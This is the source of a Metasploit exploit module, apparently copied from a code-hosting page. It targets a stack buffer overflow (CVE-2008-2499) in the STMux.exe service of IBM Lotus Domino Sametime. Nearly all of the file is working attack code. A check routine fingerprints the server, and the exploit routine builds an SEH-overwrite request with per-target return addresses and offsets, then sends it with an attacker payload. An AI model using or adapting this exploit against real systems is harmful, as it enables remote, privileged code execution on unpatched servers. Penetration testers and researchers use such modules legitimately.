Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = AverageRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'		=> 'IBM Lotus Domino Sametime STMux.exe Stack Buffer Overflow',
14
      'Description'	=> %q{
15
          This module exploits a stack buffer overflow in Lotus Domino\'s Sametime
16
        Server. By sending an overly long POST request to the Multiplexer
17
        STMux.exe service we are able to overwrite SEH. Based on the exploit
18
        by Manuel Santamarina Suarez.
19
      },
20
      'Author'		   => [ 'aushack', 'riaf <riaf[at]mysec.org>' ],
21
      'Arch'			=> [ ARCH_X86 ],
22
      'License'		=> MSF_LICENSE,
23
      'References'	=>
24
        [
25
          [ 'CVE', '2008-2499' ],
26
          [ 'OSVDB', '45610' ],
27
          [ 'BID', '29328' ],
28
          [ 'ZDI', '08-028' ],
29
        ],
30
      'Privileged'		=> true,
31
      'DefaultOptions'	=>
32
        {
33
          'EXITFUNC' => 'seh',
34
        },
35
      'Payload'		=>
36
        {
37
          'Space'			=> 1024,
38
          'BadChars'		=> "\x00\x0a\x0d",
39
          'StackAdjustment'	=> -3500,
40
        },
41
      'Platform' => ['win'],
42
      'Targets'  =>
43
        [
44
          # Patrick - Tested OK against Windows 2003 SP1 20081114
45
          [ 'Lotus Sametime 7.5 on Windows Server 2000 SP4', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 268 ] }], # pop ecx, pop exc, ret msvcr71.dll
46
          [ 'Lotus Sametime 7.5 on Windows Server 2003 SP1', { 'Ret' => 0x7c3410c2, 'Offset' => [ 3, 269 ] }], # pop ecx, pop exc, ret msvcr71.dll
47
          [ 'Lotus Sametime 7.5 on Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
48
          [ 'Lotus Sametime 7.5.1  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 5, 269 ] }],
49
          [ 'Lotus Sametime 8.0.0  Windows Server 2003 SP2', { 'Ret' => 0x7c3410c2, 'Offset' => [ 4, 269 ] }],
50
        ],
51
      'DisclosureDate' => '2008-05-21',
52
      'DefaultTarget' => 1))
53

54
    register_options(
55
      [
56
        Opt::RPORT(1533),
57
      ])
58
  end
59

60
  def check
61
    connect
62

63
    req = "HEAD / HTTP/1.1\r\n"
64
    req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
65
    req << "User-Agent: Sametime Community Agent\r\n\r\n"
66

67
    sock.put(req)
68
    res = sock.get_once || ''
69

70
    disconnect
71

72
    if (res.to_s =~/Lotus-Domino/)
73
      connect
74

75
      req = "GET /CommunityCBR HTTP/1.1\r\n"
76
      req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
77
      req << "User-Agent: Sametime Community Agent\r\n\r\n"
78
      sock.put(req)
79
      res = sock.get_once || ''
80

81
      disconnect
82

83
      if (res.to_s =~ /200 OK/)
84
        return Exploit::CheckCode::Detected
85
      end
86
    end
87

88
    return Exploit::CheckCode::Safe
89
  end
90

91
  def exploit
92
    connect
93

94
    pad1 = rand_text_alpha_lower(44)
95
    pad2 = rand_text_alpha_lower(29)
96

97
    # Patrick - We should use Metasm here.
98
    popebx = Metasm::Shellcode.assemble(Metasm::Ia32.new, "pop ebx").encode_string * target['Offset'][0]
99
    popad	 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "popad").encode_string * target['Offset'][1]
100
    esp  = "\xff\x24\x24" # dword ptr ss:[esp]
101
    jmp  = "\x74\x23" + "\x75\x21" # je short, jnz short
102
    seh = [target['Ret']].pack('V')
103

104
    path = pad1 + jmp + seh + pad2 + popebx + popad + esp
105

106
    req = "POST /CommunityCBR/CC.39.#{path}/\r\n"
107
    req << "Host: #{datastore['RHOST']}:#{datastore['RPORT']}\r\n"
108
    req << "User-Agent: Sametime Community Agent\r\n"
109
    req << "Content-Length: #{payload.encoded.length}\r\n"
110
    req << "Connection: Close\r\n"
111
    req << "Cache-Control: no-cache\r\n\r\n"
112
    req << payload.encoded
113

114
    sock.put(req)
115

116
    handler
117
    disconnect
118
  end
119
end
120

121